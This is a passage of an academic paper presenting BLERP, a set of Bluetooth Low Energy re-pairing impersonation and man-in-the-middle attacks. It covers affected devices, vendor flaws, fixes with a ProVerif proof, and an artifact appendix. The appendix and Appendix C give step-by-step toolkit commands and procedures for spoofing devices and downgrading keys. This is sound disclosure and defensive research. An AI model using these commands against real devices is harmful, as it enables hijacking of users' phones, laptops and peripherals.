2 Terra Workst Windows 11 Intel AX200 5.2 SC ✓ n/a ✓ ✓ ✗ ✓ ✗ n/a U
3 Terra Workst Linux 6.10.9 Intel AX200 5.2 SC ✓ n/a ✓ ✓ ✗ ✓ ✗ n/a U
4 Oculus Quest Android 10 MSM8998 5.0 SC ✓ n/a ✓ ✓ ✓ ✓ ✓ n/a U
5 iPhone 15 iOS 18 Unknown 5.3 SC, MitM ✓ n/a ✓ ✓ ✓ ✓ ✓ n/a U
6 iPad 2022 iPadOS 18 BCM 43xx 5.2 SC, MitM ✓ n/a ✓ ✓ ✓ ✓ ✓ n/a U
7 Pixel 8 Android 14 BCM 4398 5.3 SC ✓ n/a ✓ ✓ ✓ ✓ ✓ n/a U
8 Pixel 8 Android 15 BCM 4398 5.3 SC ✓ n/a ✓ ✓ ✓ ✓ ✓ n/a U
9 Realme X2 Pro Android 13 SM8150 5.0 SC ✓ n/a ✓ ✓ ✓ ✓ ✓ n/a U

10 Mi 11 Lite Android 13 SM7150 5.1 SC ✓ n/a ✓ ✓ ✓ ✓ ✓ n/a U
11 Galaxy A15 Android 14 Unknown 5.3 SC ✓ n/a ✓ ✓ ✓ ✗ ✓ n/a U
12 TCL 43P638 Android TV 11 Unknown 5.0 SC ✓ n/a ✓ ✓ ✓ ✓ ✓ n/a U

Centrals and Peripherals: Embedded Operating Systems

13 nRF52840 NimBLE 1.7.0 NimBLE 1.7.0 5.4 SC, MitM ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ N
14 nRF52840 SCO NimBLE 1.7.0 NimBLE 1.7.0 5.4 SC, MitM ✓ ✓ ✓ ✓ ✓ ✗ ✓ ✓ N
15 nRF52840 Zephyr 3.7.0 Zephyr 3.7.0 5.4 LSC ✓ ✓ ✗ ✗ ✓ ✗ ✓ ✓ N
16 nRF52840 BTstack Zephyr 3.7.0 5.2 SC, MitM ✗ ✓ ✓ ✓ ✓ ✓ ✗ ✓ N
17 ESP32-C3 ESP-Bluedroid Unknown 5.0 SC, MitM ✓ ✓ ✓ ✓ ✗ ✓ ✗ ✓ N

Peripherals: Joystick, Keyboard, Mouse, SmartWatch

18 Xbox Joystick Unknown X905893 5.0 SC n/a ✓ n/a ✓ n/a ✓ n/a ✓ N
19 MX Anyw. 3S Unknown nRF52832 5.1 SC n/a ✓ n/a ✓ n/a ✓ n/a ✓ N
20 MX Keys S Unknown nRF52832 5.1 SC, MitM n/a ✓ n/a ✓ n/a ✓ n/a ✓ N
21 MX Master 3 Unknown nRF52832 4.2 LSC n/a ✓ n/a ✓ n/a ✓ n/a ✓ N
22 Vivoactive 5 GarminOS NXP RT595 5.0 SC, MitM n/a ✓ n/a ✗ n/a ✓ n/a ✓ A

is also vulnerable to the single-channel and double-channel
MitM attacks, as the latter rely on combining PI and CI and
exploit the same re-pairing vulnerabilities. In Appendix B, we
demonstrate the double-channel MitM attack against a Mac-
Book Air and a Logitech MX Master 3, and in Appendix C,
we further discuss how MitM attacks happen in a real-world
scenario.

Overall, Table I confirms that the BLERP attacks are effec-
tive across all tested Bluetooth versions, security modes, and
security levels. This broad impact stems from the design-level
nature of the vulnerabilities. The attacks also remain effective
under SCO mode, provided the attacker does not downgrade
the PK entropy or switch from SC to LSC. Furthermore,
these attacks are zero-click against devices with limited I/O
(e.g., keyboards, mice) and require only minimal confirmation
(e.g., a Yes/No prompt) on devices with I/O capabilities (e.g.,
smartphones and laptops).

C. Vendor Specific Details

Next, we discuss vendor-specific evaluation details for Ap-
ple, Android, Linux, Windows, NimBLE, Zephyr, ESP32,

BTstack, and Garmin, including some implementation-level
issues we discovered during our experiments.

Apple. We tested three Apple devices as Centrals, all of
which proved vulnerable to the PI and MitM attacks. Given
that Apple devices share the same proprietary BLE stack, we
estimate the real-world impact to be in the order of billions
of devices. For instance, Apple shipped approximately 225
million iPhones in 2024 alone [20], all of which are affected
by our findings.

Moreover, we identified and exploited an implementation-
level issue in the Apple BLE stack that increases the BLERP
attack surface. Specifically, the tested Apple devices initiate
re-pairing if ARSR ≥ ARPK, whereas the standard decision
tree (Listing 1) requires ARSR > ARPK. This non-compliant
behavior allows an attacker to force re-pairing even when
devices have the maximum theoretical security level (i.e.,
MitM protection and SC).

Android. The attacks are effective on the most recent
Android versions (10–15), as their Fluoride BLE stack [21] is
vulnerable to the PI and MitM attacks. Similar to Apple, we
estimate a real-world impact of billions of vulnerable Android
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devices. For example, Samsung alone shipped approximately
222 million Android smartphones in 2024 [20].

Moreover, we uncovered a Fluoride implementation flaw
that allows an attacker to delete the PK of a paired Peripheral
without re-pairing. The issue allows bypassing the security
level check during the PI attack, since there is no PK to verify
against. Specifically, if the PI attacker rejects two encryption
requests without sending a security request to re-pair, Fluoride
deletes the PK of the trusted Peripheral. This flaw enables the
attacker to pair with the victim Central without triggering the
security checks from Listing 1.

Linux and Windows. On Windows 11 and Linux 6.10.9,
the BLE stacks are vulnerable to V1, V3, V4, and V6. We
confirmed this using a Python Central built with Bleak [22],
which connects to a paired Peripheral without automatically
starting encryption. In this scenario, the Central accepts re-
pairing with the PI attacker.

However, neither stack is affected by V5, as they auto-
matically disconnect when the encryption procedure fails,
protecting them against the BLERP PI attack. Automatic
disconnection after encryption failure is optional, but permitted
by the Bluetooth standard [1, p. 3160]. Although this behavior
does mitigate the issue, it is not a complete protection against
re-pairing attacks, as there may be alternative ways to send a
security request and trigger re-pairing.

NimBLE. Centrals and Peripherals based on NimBLE are
affected by all BLERP vulnerabilities and attacks. Addi-
tionally, we discovered an implementation issue that allows
bypassing the security request security level comparison when
the bonding flag is unset. Specifically, the NimBLE stack
initiates re-pairing regardless of the security level value if
the security request bonding flag is unset. An attacker
can exploit this behavior by setting the flag in the pairing
response, thereby triggering a re-pairing attack and overwriting
the victim’s PK. This implementation flaw has been assigned
CVE-2025-62235 by NimBLE maintainers (Apache).

Zephyr. Zephyr [23] is a widely used Real-Time Operating
System (RTOS) featuring an open-source BLE stack, and is
the most secure target we evaluated. It incorporates a custom
re-pairing logic which mitigates the BLERP vulnerabilities and
attacks. Specifically, it prevents re-pairing if it would result in
a lower security level or reduced PK entropy compared to the
current PK. However, it still allows PI and CI attacks, provided
they do not downgrade the security level or the PK entropy.

ESP32. The ESP32 platform provides a BLE stack for em-
bedded applications that is affected by all identified vulnerabil-
ities except V5, as it disconnects after an encryption failure.
This behavior is consistent with its origins as a fork of the
Linux BLE stack, which employs the same implementation-
level disconnection strategy. As a result, the ESP32 stack is
not vulnerable to the PI attack. Similar to the Windows and
Linux stacks, we verified that the other vulnerabilities remain
by modifying an ESP sample application and disabling auto-
matic encryption upon device reconnection, thereby preventing
automatic disconnection.

BTstack. BTstack is an open-source BC/BLE Host designed

for embedded systems with a small memory footprint [24]. It
is vulnerable to the CI and MitM attacks. However, it is not
susceptible to the PI attack due to its non-standard-compliant
behavior, which prevents any re-pairing from a Peripheral and
prevents V1. Specifically, when a PI attacker attempts to trig-
ger re-pairing by aborting session establishment and sending a
security request, BTstack initiates session establishment rather
than re-pairing, regardless of the value of ARSR.

Garmin. The Garmin BLE stack we tested only acts as a
Peripheral as it runs on smartwatches. It is vulnerable to V2
and V6. As the stack enforces pairing with SC and NC, any re-
pairing attempt must maintain the same high level of security,
forcing the adversary to bypass user-assisted authentication.
While this is feasible, it significantly increases the difficulty
of a successful attack.

VII. COUNTERMEASURES

We present two complementary fixes for the BLERP vul-
nerabilities and attacks. Re-pairing hardening mitigates the
attacks while remaining backward-compliant using stricter re-
pairing checks. Re-pairing authentication and integrity pro-
tection fixes the attacks and vulnerabilities by design, but
requires a minimal amendment to the BLE pairing protocol in
the standard. Next, we describe the design, implementation,
and successful evaluation of the fixes. Moreover, we discuss
how to fix the Apple, Google, and NimBLE re-pairing issues
mentioned in Section VI-C.

A. Re-pairing Hardening

Hardening the re-pairing procedure mitigates the BLERP
attacks by enforcing stricter checks on the security level and
mandating disconnection upon session establishment failures.
The approach remains fully backward-compatible with the
standard and does not affect usability. Specifically, we propose
three rules to address vulnerabilities V3–V6:

• Consistency Check: Enforce consistency between the
security level in the security request and the subsequent
re-pairing (fixing V3).

• Anti-Downgrade: Verify that neither the re-pairing secu-
rity level nor the PK entropy is lower than the currently
stored values (fixing V4 and V6).

• Encryption Failure Termination: Mandate disconnection
if an encryption procedure fails (fixing V5).

However, hardening the re-pairing mechanism only miti-
gates the BLERP attacks as it does not solve the lack of
authentication (V1, V2). For instance, an attacker could still
exploit unauthenticated re-pairing to force a security upgrade
(e.g., enabling MitM protection) and attack the association
phase to bypass authentication.

We integrated the hardened re-pairing logic into the Nim-
BLE stack by extending the ble_store_value_sec struc-
ture, which stores the security level and PK entropy values, to
also store ARSR. For Centrals, the SMP state machine caches
the requested security level to validate it against the pairing
response. For Peripherals, the stack rejects any re-pairing
request that offers lower security parameters than the existing
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PK. Failures in any of these checks trigger an Authentication
Requirements error and terminate the connection. Additionally,
we patched the Controller to send a LL_TERMINATE_IND
message to terminate the connection upon session establish-
ment failure. These modifications introduce no overhead.

B. Re-pairing Authentication and Integrity Protection

We introduce an authenticated and integrity-protected re-
pairing protocol to address the BLERP attacks. This protocol
requires two specific amendments to the standard BLE pairing:

• Key Chaining: The derivation of a re-pairing PK must
include the current PK as an input. This feature provides
implicit authentication, ensuring that an attacker lacking
the current PK cannot compute the new one.

• Transcript Hashing: Devices must maintain a cumulative
hash transcript of all pairing messages. By including the
final hash in the PK derivation, the protocol binds the
key to the specific protocol run. Any modification to
the message stream results in divergent PKs, causing the
pairing to fail.

A

Alice (Central)

B

Bob (Peripheral)

Share PK

SMP SEC REQ: ARB

SMP PAIR REQ: ARA,EntA

h1=HASH(h|ARA|EntA) h1=HASH(h|ARA|EntA)

SMP PAIR RSP: ARB,EntB

h2=HASH(h1|ARB|EntB) h2=HASH(h1|ARB|EntB)

SMP PAIR PUB KEY: PubA

h3=HASH(h2|PubA) h3=HASH(h2|PubA)

SMP PAIR PUB KEY: PubB

h4=HASH(h3|PubB)

ss=ECDH(PubB,PrivA)

PKnew=KDF(ss, h3|PK)

h4=HASH(h3|PubB)

ss=ECDH(PubA,PrivB)

PKnew=KDF(ss, h3|PK)

Session Establishment

Fig. 7: Authenticated and integrity-protected re-pairing.

Figure 7 shows the updated SC pairing protocol across the
feature negotiation, public key exchange, and key derivation
phases (we omit the association phase as the PK does not
depend on it). Both parties share PK and maintain a running
hash of the exchanged messages. In the final phase, they

Query inj-event(end_B(k)) ==> inj-event(end_A(k)) is
true.

Listing 2: Authenticated re-pairing ProVerif results. The query
is provable and true.

derive PKnew via a Key Derivation Function (KDF) using the
existing PK, the fresh ECDH shared secret, and the transcript
hash. This cryptographically binds the new key to the old one
and to that specific protocol run.

This design introduces a usability trade-off: if a device
loses its PK (e.g., via factory reset), it requires manual user
intervention to re-pair.

We implemented this protocol in NimBLE by extending the
SMP state machine to track a transcript variable h and the old
PK until re-pairing completes. Upon sending or receiving a
message, the device updates h = hash(h|msg). We replaced
the standard key generation logic with a CMAC-based Key
Derivation Function (CKDF) that accepts the current PK, the
new key material, and the transcript h. The protocol introduces
negligible overhead, relying solely on lightweight hashing and
KDF operations without additional message round-trips.

C. Fixes Evaluation

Hardened Re-pairing. We assessed the efficacy of our
hardened re-pairing mechanism by executing the PI and CI
attacks against patched NimBLE devices. Our evaluation
confirms that the patches effectively prevent security level
downgrades and the BLERP PI attack.

We configured the devices using SC with MitM protection
enabled. For the PI attack, while the unpatched stack allows an
attacker to interrupt session establishment and trigger a weaker
re-pairing, the hardened Central terminates the connection
upon encryption failure, preventing the attack from continuing.
In the CI scenario, the attacker attempts to re-pair using a
weaker security configuration (e.g., downgrading SC to LSC or
forcing JW). The hardened Peripheral detects these downgrade
attempts and drops the connection. This mechanism still allows
legitimate re-parings with a security level equal to or higher
than the existing PK.

Authenticated Re-Pairing. We formally modeled and veri-
fied our authenticated re-pairing protocol using ProVerif [25].
Our model formalizes the protocol depicted in Figure 7 and
the full BLE session establishment shown in Figure 3. By
satisfying the injective correspondence query in Listing 2, we
prove strong injective agreement on the new PK. This result
guarantees mutual authentication, session freshness, and proto-
col integrity, while effectively preventing replay and reflection
attacks. The ProVerif model is available in Appendix A and
the artifact repository.

D. Vendor-specific Implementation Fixes

Apple. Apple’s stack should not trigger a re-pairing if
ARSR = ARPK. We cannot provide further recommendations,
as the stack is closed-source.
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TABLE II: BLERP attacks and vulnerabilities mapping. A
vulnerability is required (✓), optional (✱), or not required (✗).

Attack V1 V2 V3 V4 V5 V6

Peripheral Impersonation ✓ ✗ ✱ ✱ ✓ ✱

Central Impersonation ✗ ✓ ✗ ✱ ✗ ✱

Double-channel MitM ✓ ✓ ✱ ✱ ✓ ✱

Single-channel MitM ✓ ✓ ✱ ✱ ✓ ✱

Google. Google should fix the bug that deletes a paired
device after two failed session establishments. We do not know
what causes this behavior. One possible explanation is that the
Android Bluetooth management system does not handle such
an error during session establishment and deletes the devices
from the paired list.

NimBLE. NimBLE is working on fixing its security request
handling issue (CVE-2025-62235) and the re-pairing vulner-
abilities. The developers stated that they will likely modify
the re-pairing logic to require encryption before allowing a
renegotiation of the security level.

VIII. DISCUSSION

We discuss how the attacks map to the vulnerabilities and
outline the process for their discovery.

A. Mapping Attacks and Vulnerabilities

Table II maps the BLERP attacks and vulnerabilities. In the
table, ✓ indicates that a vulnerability is required, ✱ that it is
optional, and ✗ that it is not required. For the PI attack, V5
is necessary to trigger re-pairing, while V1 enables re-pairing
without authentication. An attacker can additionally exploit
V3 and V4 to downgrade the security level, as described in
Section IV-B. The CI attack relies on V2 to re-pair without
authentication and may require V4 to downgrade the security
level, as described in Section IV-C.

As the double-channel and single-channel MitM attacks
combine the PI and CI attacks, they also exploit their vul-
nerabilities (V1, V2, and V5). Additionally, they can leverage
V3 and V4 to downgrade the security level, and V6 to
reduce the entropy of the new PK as previously explained
in Section IV-D.

B. Vulnerabilities and Attacks Discovery

We discovered the BLERP vulnerabilities through a system-
atic analysis of the Bluetooth Specification document and the
NimBLE open-source stack. We then experimentally validated
our findings, identifying additional implementation-specific
flaws in Apple, Google, and NimBLE stacks in the process.

We first observed that the standard allows Peripherals to
initiate re-pairing via the security request message. However,
we identified a critical specification asymmetry: while Periph-
erals are explicitly required to verify security levels against the
subsequent pairing request [1, p. 1667], no similar require-
ment exists for Centrals. This omission allows a malicious
Peripheral to downgrade the security level (V3). Extending the

analysis of V3, we found that the standard lacks requirements
to enforce consistency between the current and previous pair-
ing parameters. This absence allows devices to accept lower
security levels during re-pairing (V4). To successfully exploit
V3, we required a mechanism to abort session establishment.
Leveraging BLESA [3], we successfully triggered re-pairing
after blocking a session establishment (V5). Finally, analyzing
the big picture revealed the fundamental root cause: neither the
Central nor the Peripheral authenticates the re-pairing process
(V1, V2).

IX. RELATED WORK

BLE Pairing. Several studies have analyzed the security
of the BLE pairing protocol. Recent papers uncovered vul-
nerabilities in SC negotiation [6], [9], key agreement [7], and
authentication [4], [5], [8], [10]. Earlier work [18] exploited
weaknesses in the LSC key exchange phase to recover en-
cryption keys. These studies focus on individual phases of the
pairing protocol and assume the attacker is present during the
initial pairing. However, they do not address the re-pairing
attack vector considered in our work.

BLE Session Establishment. Prior research analyzing re-
connection between BLE pairing devices [3], [26] found
that session establishment can be interrupted to force an
unencrypted session. However, these works do not cover the
security of BLE pairing or re-pairing.

Proprietary security protocols over BLE. Other studies
have analyzed proprietary security protocols used on top
of BLE. For example, researchers reverse-engineered appli-
cation layer protocols used by Xiaomi fitness trackers and
e-scooters [27], [28], Android nearby services [29], Apple
devices [30], [31], and companion mobile applications for IoT
devices [32], [33], uncovering multiple issues. These findings
are orthogonal to our work, as they focus on proprietary
application-layer protocols rather than standard BLE pairing
and session establishment.

Bluetooth Classic. BC pairing and session establishment
have been extensively studied. In [34], the authors force unau-
thenticated pairing by exploiting NiNo [35] while impersonat-
ing a keyboard. Prior work identified vulnerabilities in legacy
BC pairing PIN authentication [36], while [37] uncovered
a passkey-reuse vulnerability affecting BC pairing authenti-
cation. Additional research has investigated downgrade [15]
and impersonation [16] attacks on BC session establishment,
while [38] uncovered issues related to forward and future
secrecy. Attacks on BC pairing and session establishment are
orthogonal to the presented ones, as they are specific to BC.

Bluetooth Testing. Several tools for testing Bluetooth stack
implementations exist in the literature [39], [40], [41]. While
helpful for uncovering implementation-level bugs, these tools
rely on coverage-based fuzzing and differential testing, which
have limitations when it comes to protocol-level issues. There-
fore, they are valuable but orthogonal to our findings.

BLE IDS/IPS. Researchers have proposed various intru-
sion detection and prevention systems (IDS/IPS) for BLE.
BlueShield [42] detects spoofing attacks using cyber-physical
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fingerprints. OASIS [43] integrates an IDS within a popu-
lar BLE Controller, enabling low-level control and detection
capabilities. BlueSWAT [44] employs finite state machines
and eBPF (extended Berkeley Packet Filter) to detect session-
based attacks. BLEGuard [45] leverages pre-detection, recon-
struction, and classification models trained on a dataset of
simulated attacks to identify spoofing attacks. These systems
could implement new rules to detect and prevent the BLERP
attacks, but they would still face issues with false positives
and false negatives. We recommend deterministically fixing
or mitigating the attacks using our solutions.

Bluetooth Formal Analysis. Several papers have built
formal models of subsets of the Bluetooth standard. Recent
studies have formally modeled and verified the BLE pairing
association [10], [12] and key agreement [9] phases using
Tamarin [46], and uncovering new attacks in the process.
Other works have used ProVerif [25] to model the BLE
session establishment protocol [3], [13] and BC pairing [47].
Computational models have also been used to analyze BC [48]
and to conduct cryptographic analysis [49] on SC pairing for
both BC and BLE. Our work relies on ProVerif to demonstrate
the effectiveness of one of our proposed fixes, specifically by
modeling the session establishment protocol and part of the
pairing process.

Bluetooth Tracking. BC and BLE allow fingerprinting and
tracking of devices and related users. Researchers have shown
how to track a victim by exploiting flaws in the standard,
such as BLE allow lists [50], advertisements [51], address ran-
domization [52], [53], GATT [54], and BC non-discoverable
mode [55]. They also developed anti-tracking mechanisms
such as BLE-Guardian [56]. Researchers also looked at the
traceability of proprietary wireless protocols implemented over
BLE. For example, Apple’s proprietary wireless services that
have been found vulnerable to tracking, including Apple Wire-
less Direct Link (AWDL) [57], Continuity [58], [59], [60], and
Find My [61], [62], [63]. Tracking attacks are orthogonal to
the presented ones.

X. CONCLUSION

This work examines the security of BLE re-pairing, a feature
that has received little scrutiny despite its significant associated
threats. We focus on re-pairing impersonation and MitM
attacks, in which an adversary deceives one or two victims
into pairing with them while the victims believe they are re-
pairing with a trusted device. As a result, the attacker gains
arbitrary read and write access to the target device, remaining
undetected and without triggering unexpected behavior.

We analyze the design of re-pairing in the BLE standard and
uncover six re-pairing vulnerabilities (V1–V6). Four of them
(V1–V4) are novel and include unauthenticated re-pairing
and security level downgrades. All issues affect the protocol
design and are effective even against the most secure BLE
configurations (SC, MitM protection, and SCO).

We introduce four new attacks, dubbed BLERP, enabling CI,
PI, single-channel, and double-channel MitM attacks. BLERP
are the first BLE attacks to: 1) exploit re-pairing design issues,

2) exploit pairing from session establishment, 3) abuse the
SMP security request, and 4) expand the BLE threat model
by providing a stepping stone for launching pairing attacks
without waiting for a legitimate pairing.

We release BLERP, a low-cost and reproducible toolkit for
testing our PI, CI, and double-channel MitM attacks. Built on
the open-source NimBLE stack, the toolkit features a custom
Controller, a Scapy-based BLE Host, and a custom btshell
application to facilitate attack testing.

We empirically confirm that the BLERP attacks are practical
and widespread by exploiting 22 BLE targets, spanning hetero-
geneous devices, popular Bluetooth versions, different Hosts,
Controllers, Centrals, and Peripherals, and devices supporting
SC and SCO. We develop and evaluate two complementary
fixes to address the BLERP vulnerabilities and attacks. Hard-
ened re-pairing fixes V3, V4, V5, and V6 to mitigate the CI
and PI attacks in a backward-compliant manner. Authenticated
and integrity-protected re-pairing fixes all vulnerabilities and
attacks by design, but it requires an update to the standard.
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APPENDIX

A. ProVerif Listings

Listings 3 and 4 show the ProVerif code we used in
Section VII-C to verify the authenticated re-pairing protocol
security guarantees. The full models are also available in our
repository.

B. Double-channel MitM Attack Demo

We present a demo of the double-channel MitM in a real-
world setup, using a Logitech G603 mouse as the Peripheral
and a MacBook Air M1 as the Central. A video of the
demo is available in our repository. During the attack, the
victims disconnect and then pair with the attacker, thinking
they are re-pairing with each other. In the video, we show the
attacker changing the mouse’s reported battery percentage to

type key.
type pubkey.
type privkey.
type features.

fun pub(privkey): pubkey.
fun hash(bitstring): bitstring.
fun kdf(key, bitstring): key.
fun enc(bitstring, key): bitstring.
reduc forall m:bitstring, k:key; dec(enc(m, k), k) =

m.

fun ecdh(privkey, pubkey): key.
equation forall a,b: privkey; ecdh(a, pub(b)) = ecdh

(b, pub(a)).

free c: channel.
free h_initial: bitstring.

free start_enc_req: bitstring.
free start_enc_rsp_A: bitstring.
free start_enc_rsp_B: bitstring.

free features_A_const: features.
free features_B_const: features.

event end_A(key).
event end_B(key).

(* Main Query -- Should be TRUE *)
query k:key; inj-event(end_B(k)) ==> inj-event(end_A

(k)).

(* Sanity Check -- Should be FALSE *)
query k:key; event(end_A(k)) && event(end_B(k)).

Listing 3: ProVerif definitions, crypto primitives, and queries.

the laptop. In the demo, we trigger the disconnection manually
for simplicity, but in Section C we discuss how to do it in
practice.

C. BLE MitM Attack Considerations

Here, we describe how to conduct a BLE MitM attack
in the real world, using our BLERP double-channel MitM
experiment as a reference. The attack requires the following
steps:

1) The attacker collects public information about the victims
to impersonate them. The adversary obtains this data
by sniffing plaintext BLE packets, including advertise-
ments, connection establishment, and pairing messages
exchanged between the targets.

2) The attacker waits until the victims disconnect or forces
them to disconnect. The latter can be achieved through
jamming, while a legitimate disconnection can occur due
to a timeout, a device reboot, or a loss of range.

3) The attacker connects to the victim Peripheral while
impersonating the Central. This step prevents the Periph-
eral from advertising and blocks the victim Central from
connecting to the legitimate Peripheral.

4) The attacker starts advertising as the legitimate Periph-
eral, tricking the legitimate Central into connecting to the
attacker, believing the device is legitimate.
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5) The attacker runs the PI attack against the legitimate
Central and the CI against the legitimate Peripheral.
Consequently, the victims overwrite their previous keys
with two distinct PKs shared with the attacker, all while
believing they have re-paired with each other.

The third and fourth attack steps may require the attacker to
win a race condition against the Central if the Central attempts
to reconnect to the Peripheral. Because the Central reconnec-
tion policy is implementation-specific, the attacker must adapt
to the target’s implementation. To optimize the probability
of winning the connection race condition, the attacker can
use two strategies: 1) selectively jam the legitimate Peripheral
advertisements packets [64] to prevent the legitimate Central
from sending a connection request, allowing the attacker to
connect to the target Peripheral first; or 2) set up the malicious
Peripheral to advertise with higher frequency and stronger
signal than the legitimate one to trick the legitimate Central
into connecting with the attacker [65].

We evaluated the connection race condition without opti-
mizations using two victim devices (an nRF52 NimBLE Pe-
ripheral and a Pixel 5 Central) and an attack device (an nRF52
NimBLE Central). We powered off the legitimate Peripheral,
placed the victim and attacker Central at the same distance
from the Peripheral, and initiated the connection procedure.
We then powered on the legitimate Peripheral and observed
which device won the race. In 20 trials, the malicious device
succeeded 11 times (55%) in establishing a connection to
the Peripheral instead of the legitimate Central. This baseline
result indicates that, without jamming or aggressive advertis-
ing, an attacker can win the reconnect race about half of the
time. Generalizing the likelihood of winning the race condition
is difficult, as success depends on factors such as device
models, Bluetooth stacks, radio proximity, environmental RF
conditions, and specific optimizations implemented by the
attacker.

let processA(pk: key) =
new priv_a: privkey;
let pub_a = pub(priv_a) in

out(c, features_A_const);
in(c, features_b: features);

let h1 = hash((h_initial, features_A_const)) in
let h2 = hash((h1, features_b)) in
out(c, pub_a);

let h3 = hash((h2, pub_a)) in
in(c, pub_b: pubkey);
let h4 = hash((h3, pub_b)) in
let ss = ecdh(priv_a, pub_b) in
let pk_new = kdf(pk, (ss, h4)) in

new skd_a: bitstring;
new iv_a: bitstring;
out(c, (skd_a, iv_a));
in(c, (skd_b: bitstring, iv_b: bitstring));
in(c, start_enc_req_msg: bitstring);
if start_enc_req_msg = start_enc_req then
let session_key = kdf(pk_new, (skd_a, skd_b)) in
in(c, enc_msg_B: bitstring);
let dec_msg_B = dec(enc_msg_B, session_key) in
if dec_msg_B = start_enc_rsp_B then
let enc_msg_A = enc(start_enc_rsp_A,

session_key) in
event end_A(pk_new);
out(c, enc_msg_A).

let processB(pk: key) =
new priv_b: privkey;
let pub_b = pub(priv_b) in

in(c, features_a: features);
out(c, features_B_const);

let h1 = hash((h_initial, features_a)) in
let h2 = hash((h1, features_B_const)) in

in(c, pub_a: pubkey);
let h3 = hash((h2, pub_a)) in
out(c, pub_b);

let h4 = hash((h3, pub_b)) in
let ss = ecdh(priv_b, pub_a) in
let pk_new = kdf(pk, (ss, h4)) in

in(c, (skd_a: bitstring, iv_a: bitstring));
new skd_b: bitstring;
new iv_b: bitstring;
out(c, (skd_b, iv_b));
out(c, start_enc_req);
let session_key = kdf(pk_new, (skd_a, skd_b)) in
let enc_msg_B = enc(start_enc_rsp_B, session_key)

in
out(c, enc_msg_B);
in(c, enc_msg_A: bitstring);
let dec_msg_A = dec(enc_msg_A, session_key) in
if dec_msg_A = start_enc_rsp_A then

event end_B(pk_new).

process
!(

new pk: key;
(processA(pk) | processB(pk))

)

Listing 4: ProVerif Alice and Bob processes.
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ARTIFACT APPENDIX

The artifact includes the BLERP toolkit described in Sec-
tion V, including the stack patches (in patches/), and
the ProVerif model from Section A (in formal/). The
toolkit consists of two components: a NimBle application (in
apps/bleshell/) and a Python BLE Host (in python-
host/). It is available at:

• https://github.com/sacca97/blerp
• https://doi.org/10.5281/zenodo.17671927

D. Claims

The artifact supports the following claims from the paper:
• An adversary can impersonate a trusted Peripheral and

re-pair with a victim Central without knowing the Pair-
ing Key and with downgraded security in a PI attack
(Section IV-B).

• An adversary can impersonate a trusted Central and
re-pair with a victim Peripheral without knowing the
Pairing Key and with downgraded security in a CI attack
(Section IV-C).

• An adversary can combine the PI and CI attacks to force
re-pairing and establish a MitM position in a Double-
Channel MitM attack (Section IV-D). [optional]

• Hardened re-pairing mitigates the attacks by discon-
necting on encryption failure and blocking security down-
grades (Section VII-A).

• Authenticated re-pairing prevents the attacks by provid-
ing integrity and authentication (Section VII-B).

E. Requirements

Hardware:
• 2 Nordic nRF52840-DK (PCA10056)1

• Real-world BLE devices for testing [optional]
Software:
• Ubuntu 22.04+ or Fedora 40+
• Segger JLink V7.98h+
• Apache newt v1.13.0
• Arm GNU Toolchain 14.3.Rel1 (arm-none-eabi)
• tio (or any other serial device tool)
• Python 3.12+ (Section J only)

F. Docker Image

We provide a pre-configured Docker image that includes all
required software and is ready to use. It requires a Linux-based
machine system with Bluetooth enabled. The credentials are
blerp:blerp. Once downloaded, run it with the following
commands:

docker import blerp.tar.gz -c "CMD [\"/bin/bash\"]"
blerp:1.1

docker run -it --user blerp -w /home/blerp/blerp
--privileged --name blerp-test --net host -v
/dev:/dev -v /var/run/dbus:/var/run/dbus
blerp:1.1 bash

1We tested the toolkit using the nRF52840-DK, but it is theoretically
compatible with nRF51/52/53 and Renesas DA1469x.

Fig. 8: nRF52840-DK Micro USB ports. USB 1 is used for
UART and firmware flashing, USB 2 is used for HCI over
USB.

Once inside the container, download the required mynewt
repositories and patch the NimBLE stack:

./setup.sh

./apply_attacks_patch.sh

G. Toolkit Setup (Approx. 15 minutes)

If using the Docker container, go to step 2.
1) Setup the workspace and patch the NimBLE stack.

git clone https://github.com/sacca97/blerp
cd blerp
./setup.sh
./apply_attacks_patch.sh

2) Run the following commands once per board to install
the OS and bleshell app. The id parameter is the board’s
serial number (usually 9 or 10 digits prefixed with two
zeroes). Use tio -l | grep SEGGER to check it
from the command line. The board(s) must be connected
using USB 1 (see Figure 8).

make boot-10056 id=XXXXXXXXXX
make bleshell id=XXXXXXXXXX

3) Connect via serial and press Tab to show the available
commands and verify installation was successful.

tio /dev/serial/by-id/usb-
SEGGER_J-Link_00XXXXXXXXXX-if00

H. Testing in a Controlled Environment (Approx. 5 minutes)

Test the impersonation attacks on the NimBLE stack us-
ing only two nRF52 boards. The firmware resets on power
loss (erasing the keys), enabling one board to act first as a
legitimate device and then as the attacker.

Initial Setup: Pair the two boards, on the Peripheral run:

spoof-address addr=F8:4C:6D:E9:7A:B1
addr_type=random

spoof-adv-data name="MyMouse" appearance=962
advertise own_addr_type=random

While on the Central run:
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spoof-address addr=00:1A:79:FF:EE:DD
addr_type=public

connect peer_addr=F8:4C:6D:E9:7A:B1
peer_addr_type=random own_addr_type=public

Ensure the log shows:

000000 encryption change event; status=0
000000 encrypted=1, authenticated=0, bonded=1

Peripheral Impersonation (Section IV-B): The Peripheral
board will now act as the attacker.

1) Power cycle the Peripheral board to clear its keys (sim-
ulating the attacker taking its place). Then configure the
attacker:

# Set again the victim’s parameters
spoof-address addr=F8:4C:6D:E9:7A:B1

addr_type=random
spoof-adv-data name="MyMouse" appearance=962

# Downgrade security configuration
spoof-authreq mitm=1 bond=1 sc=1
security-set-data mitm=0 bonding=1 keysize=7
blerp-reject-enc val=1

# Begin malicious advertising
advertise own_addr_type=random

2) On the Central device, run again

connect peer_addr=F8:4C:6D:E9:7A:B1
peer_addr_type=random own_addr_type=public

In case of success, the log will show a partially zeroed-
out Long Term Key (LTK) and status = 0, indicating
successful re-pairing.

000000 LTK: 00000000000000000094d39485d06811
000000 encryption change event; status=0
000000 encrypted=1, authenticated=0, bonded=1

Central Impersonation (Section IV-C): If proceeding im-
mediately after the Peripheral Impersonation attack, you must
reset both boards and repeat the initial setup phase before
starting. The board that was previously the Central will now
act as the attacker.

1) Power cycle the Central to clear its keys and allow it to
act as the attacker. Then, enter the following commands to
spoof the legitimate Central and downgrade the security
parameters.

# Spoof the Legitimate Central’s Address
spoof-address addr=00:1A:79:FF:EE:DD

addr_type=public

# Downgrade Security Parameters
security-set-data mitm=0 bonding=1 keysize=7

2) Connect the attacker board to the victim Peripheral. First,
start advertising on the Peripheral

advertise own_addr_type=random

Then, connect from the Central

connect peer_addr=F8:4C:6D:E9:7A:B1
peer_addr_type=random own_addr_type=public

